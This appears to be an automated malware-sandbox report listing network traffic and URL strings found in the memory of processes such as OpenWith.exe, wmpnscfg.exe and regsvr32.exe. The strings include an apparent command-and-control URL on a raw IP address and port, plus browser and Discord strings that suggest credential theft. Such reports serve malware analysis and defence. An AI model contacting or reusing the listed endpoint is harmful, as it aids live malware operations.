Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net

Source: regsvr32.exe, 00000003.00000002.1746225647.0000000002717000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.mic
Source: powershell.exe, 00000001.00000002.1731767660.000001BCF5BF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000001.00000002.1711944982.000001BCE5DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.1711944982.000001BCE5DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000001.00000002.1711944982.000001BCE5B81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.1711944982.000001BCE5DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000001.00000002.1711944982.000001BCE5DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: wmpnscfg.exe, 00000009.00000002.2909747094.000001C7BD0B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://147.45.126.71:3752/20846e26ac9fe96c52/8ackhmnt.9e5wm
Source: OpenWith.exe, 00000004.00000003.1869736232.00000149EA1B5000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1873103195.00000149EA1D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1872109543.00000149EA1D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1885726593.00000149EA1D7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1908967423.00000149EA1C5000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1822622813.00000149EA1D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1867102224.00000149EA1B3000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.2024260360.00000149EA1C5000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1900428206.00000149EA1D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1909073317.00000149EA1D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.2024290056.00000149EA1D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://147.45.126.71:3752/20846e26ac9fe96c52/8ackhmnt.9e5wmv
Source: OpenWith.exe, 00000004.00000003.1868960261.00000149EA3C7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868637708.00000149EA3C7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1869190757.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1866926710.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868551752.00000149EA3C6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1867520826.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1870607624.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1869469935.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868848640.00000149EA3C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000001.00000002.1711944982.000001BCE5B81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000001.00000002.1711944982.000001BCE5DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: OpenWith.exe, 00000004.00000003.1868960261.00000149EA3C7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868637708.00000149EA3C7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1869190757.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1866926710.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868551752.00000149EA3C6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1867520826.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1870607624.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1869469935.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868848640.00000149EA3C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: OpenWith.exe, 00000004.00000003.1868960261.00000149EA3C7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868637708.00000149EA3C7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1869190757.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1866926710.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868551752.00000149EA3C6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1867520826.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1870607624.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1869469935.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868848640.00000149EA3C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: OpenWith.exe, 00000004.00000003.1868960261.00000149EA3C7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868637708.00000149EA3C7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1869190757.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1866926710.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868551752.00000149EA3C6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1867520826.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1870607624.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1869469935.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868848640.00000149EA3C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000001.00000002.1731767660.000001BCF5BF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000001.00000002.1731767660.000001BCF5BF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000001.00000002.1731767660.000001BCF5BF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: OpenWith.exe, 00000004.00000003.1884795544.00000149EA402000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discord.com
Source: OpenWith.exe, 00000004.00000003.1884795544.00000149EA402000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com
Source: OpenWith.exe, 00000004.00000003.1866926710.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1867520826.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: OpenWith.exe, 00000004.00000003.1866926710.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1867520826.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: OpenWith.exe, 00000004.00000003.1866926710.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1867520826.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000001.00000002.1711944982.000001BCE5DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000001.00000002.1731767660.000001BCF5BF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: OpenWith.exe, 00000004.00000003.1870607624.00000149EA3F6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1872038255.00000149EA3F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/arti
Source: OpenWith.exe, 00000004.00000003.1874341176.00000149EA2F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: OpenWith.exe, 00000004.00000003.1869469935.00000149EA3DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: OpenWith.exe, 00000004.00000003.1870607624.00000149EA3F6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1872038255.00000149EA3F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e1
Source: OpenWith.exe, 00000004.00000003.1874341176.00000149EA2F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: OpenWith.exe, 00000004.00000003.1869469935.00000149EA3DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: OpenWith.exe, 00000004.00000003.1868960261.00000149EA3C7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868637708.00000149EA3C7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1869190757.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1866926710.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868551752.00000149EA3C6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1867520826.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1870607624.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1869469935.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868848640.00000149EA3C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: OpenWith.exe, 00000004.00000003.1866926710.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1867520826.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown	Network traffic detected: HTTP traffic on port 58054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57489
Source: unknown	Network traffic detected: HTTP traffic on port 57622 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58457
Source: unknown	Network traffic detected: HTTP traffic on port 57645 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57496
Source: unknown	Network traffic detected: HTTP traffic on port 57404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57668 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58586
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57497
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58588
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57499
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58103
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57492
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57493
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57494
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57495
Source: unknown	Network traffic detected: HTTP traffic on port 57427 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57490
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57491
Source: unknown	Network traffic detected: HTTP traffic on port 57507 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57656 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 57438 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58228
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58354
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58230
Source: unknown	Network traffic detected: HTTP traffic on port 57473 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57565 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58353
Source: unknown	Network traffic detected: HTTP traffic on port 57611 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57657 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57554 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57497 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57609 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57397
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57398
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57399
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58004
Source: unknown	Network traffic detected: HTTP traffic on port 58534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58482
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57395
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57396
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58484
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57391
Source: unknown	Network traffic detected: HTTP traffic on port 57541 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57484 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58328 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57599 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57461 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57518 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58128
Source: unknown	Network traffic detected: HTTP traffic on port 57623 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57405 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58378
Source: unknown	Network traffic detected: HTTP traffic on port 57450 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57588 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58130
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58253
Source: unknown	Network traffic detected: HTTP traffic on port 57529 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58304 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57598 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57437 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57414 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57449
Source: unknown	Network traffic detected: HTTP traffic on port 57472 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57552 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57445
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57566
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57446
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57567
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58534
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57447
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57568
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57448
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57569
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58536
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57452
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57573
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57453
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57574
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57454
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57455
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57570
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57450
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57571
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57451
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57572
Source: unknown	Network traffic detected: HTTP traffic on port 57612 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57543 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57520 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57635 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57456
Source: unknown	Network traffic detected: HTTP traffic on port 57498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58304
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57457
Source: unknown	Network traffic detected: HTTP traffic on port 57646 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58303
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57458
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57579
Source: unknown	Network traffic detected: HTTP traffic on port 57608 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57459
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57463
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57584
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58432
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57464
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57585
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57465
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57586
Source: unknown	Network traffic detected: HTTP traffic on port 57403 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57466
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57587
Source: unknown	Network traffic detected: HTTP traffic on port 57449 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57580
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57460
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57581
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57461
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57582
Source: unknown	Network traffic detected: HTTP traffic on port 57586 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58430
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57462
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57583
Source: unknown	Network traffic detected: HTTP traffic on port 57483 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57395 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57670 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58354 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57460 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57531 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57519 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57467
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57588
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57468
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57589
Source: unknown	Network traffic detected: HTTP traffic on port 57647 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57469
Source: unknown	Network traffic detected: HTTP traffic on port 57624 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57474
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57595
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57596
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57597
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57598
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57470
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57591
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58560
Source: unknown	Network traffic detected: HTTP traffic on port 57448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57471
Source: unknown	Network traffic detected: HTTP traffic on port 57564 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57587 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57592
Source: unknown	Network traffic detected: HTTP traffic on port 58613 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57472
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57593
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57473
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57594
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58561
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57590
Source: unknown	Network traffic detected: HTTP traffic on port 57415 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57658 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57471 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57553 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58536 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57478
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57599
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57479
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58328
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57485
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57486
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57487
Source: unknown	Network traffic detected: HTTP traffic on port 57669 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58456
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57488
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57481
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57482
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57483
Source: unknown	Network traffic detected: HTTP traffic on port 57426 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57484
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58330
Source: unknown	Network traffic detected: HTTP traffic on port 57542 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57613 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57480
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57607 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57453 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58180
Source: unknown	Network traffic detected: HTTP traffic on port 57442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57568 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57625 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57660 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57407 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58078
Source: unknown	Network traffic detected: HTTP traffic on port 58228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57579 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57544 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57391 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57487 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57636 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57441 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57464 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57509 -> 443
